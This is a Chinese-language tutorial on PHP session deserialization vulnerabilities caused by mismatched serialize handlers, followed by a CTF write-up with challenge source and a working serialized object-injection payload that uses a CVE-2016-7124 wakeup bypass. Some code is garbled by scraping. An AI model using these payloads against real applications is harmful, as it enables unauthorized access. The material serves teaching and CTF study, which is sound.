這篇文章主要介紹了PHP的session反序列化漏洞問題,需要的朋友可以參考下
在php.ini中存在三項配置項：
以上的選項就是與PHP中的Session儲存和序列話儲存有關的選項。
在使用xampp元件安裝中，上述的設定項的設定如下：
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
在上述的設定中，session.serialize_handler是用來設定session的序列話引擎的，除了預設的PHP引擎之外，還有其他引擎，不同的引擎所對應的session的儲存方式不相同。
php_binary:儲存方式是，鍵名的長度對應的ASCII字元+鍵名+經過serialize()函數序列化處理的值
php:儲存方式是，鍵名+垂直線+經過serialize()函數序列處理的值
php_serialize(php>5.5.4):儲存方式是，經過serialize()函數序列化處理的值
在PHP中預設使用的是PHP引擎，如果要修改為其他的引擎，只需要加入程式碼ini_set('session.serialize_handler', '需要設定的引擎');。範例程式碼如下：
session 的目錄在/var/lib/php/sessions 中
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump($_SESSION);
在php_serialize 引擎下，session檔案中儲存的數據為:
a:1:{s:4:"name";s:6:"spoock";}php 引擎下檔案內容為:
name|s:6:"spoock";
php_binary 引擎下檔案內容為:
names:6:"spoock";
由於name的長度是4，4在ASCII表中對應的就是EOT。根據php_binary的儲存規則，最後就是names:6:"spoock";。 (突然發現ASCII的值為4的字元無法在網頁上面顯示，這個大家自行去查ASCII表吧)
PHP Session中的序列化危害
#PHP中的Session的實作是沒有的問題，危害主要是由於程式設計師的Session使用不當而引起的。
如果在PHP在反序列化儲存的$_SESSION資料時所使用的引擎和序列化所使用的引擎不一樣，會導致資料無法正確第反序列化。透過精心建構的資料包，就可以繞過程式的驗證或是執行一些系統的方法。例如:
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';php檔案如:
登入後複製
存取後得到session檔案中的內容如下：
但此時模擬在其他頁面使用不同的php引擎來讀取時的內容如下：(預設使用php引擎讀取session檔)root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}登入後複製
#
a; } } // var_dump($_SESSION);
xxarray(1) {
["a:1:{s:4:"ryat";s:30:""]=>
object(A)#1 (1) {
["a"]=>
string(2) "xx"
}
}這是因為使用php引擎的時候，php引擎會以|作為作為key和value的分隔符，那麼就會將a:1:{s:4:"ryat";s:30:" 作為SESSION的key，將O:1:"A":1:{s:1 :"a";s:2:"xx";} 作為value，然後進行反序列化，最後就會得到A這個類別。不一樣的引擎就是造成PHP Session序列話漏洞的原因。
#GCTF上的一道session反序列化漏洞分析:
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
$_SESSION['src'] = $_GET['src'];
highlight_file(FILE);
print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>代码审计2</title>
</head>
<body><form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /> </form> <a href="./?src=1">查看源码</a> </body> </html>
##這題中我們建構一個TOPC，在析構的時候則會呼叫echo $this->attr;；
將attr賦值為TOPB對象，在echo TOPB的時候會自動呼叫tostring魔術方法在tostring中會呼叫unserialize($this->attr)
，即可繞過判斷。 flag，後台寫的login可能是tostring吧。 其中反序列化
中會有一個wakeup()函數清空裡面的參數，我問可以透過一個cve來繞過：CVE-2016-7124。將Object中表示數量的欄位改成比實際欄位大的值即可繞過wakeup函數。
最後的程式碼為:
/************************/
/*
//query.php 部分代码
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
public $token;
public $ticket;
public $username;
public $password;
function login(){
//if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
$this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
return 'key is:{'.$this->token.'}';
}
}
}
class TOPB{
public $obj;
public $attr;
function construct(){
$this->attr = null;
$this->obj = null;
}
function toString(){
$this->obj = unserialize($this->attr);
$this->obj->token = $FLAG;
if($this->obj->token === $this->obj->ticket){
return (string)$this->obj;
}
}
}
class TOPC{
public $obj;
public $attr;
function wakeup(){
$this->attr = null;
$this->obj = null;
}
function destruct(){
echo $this->attr;
}
}
*/|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}以上是淺談PHP中session反序列化漏洞問題的詳細內容。更多資訊請關注PHP中文網其他相關文章！
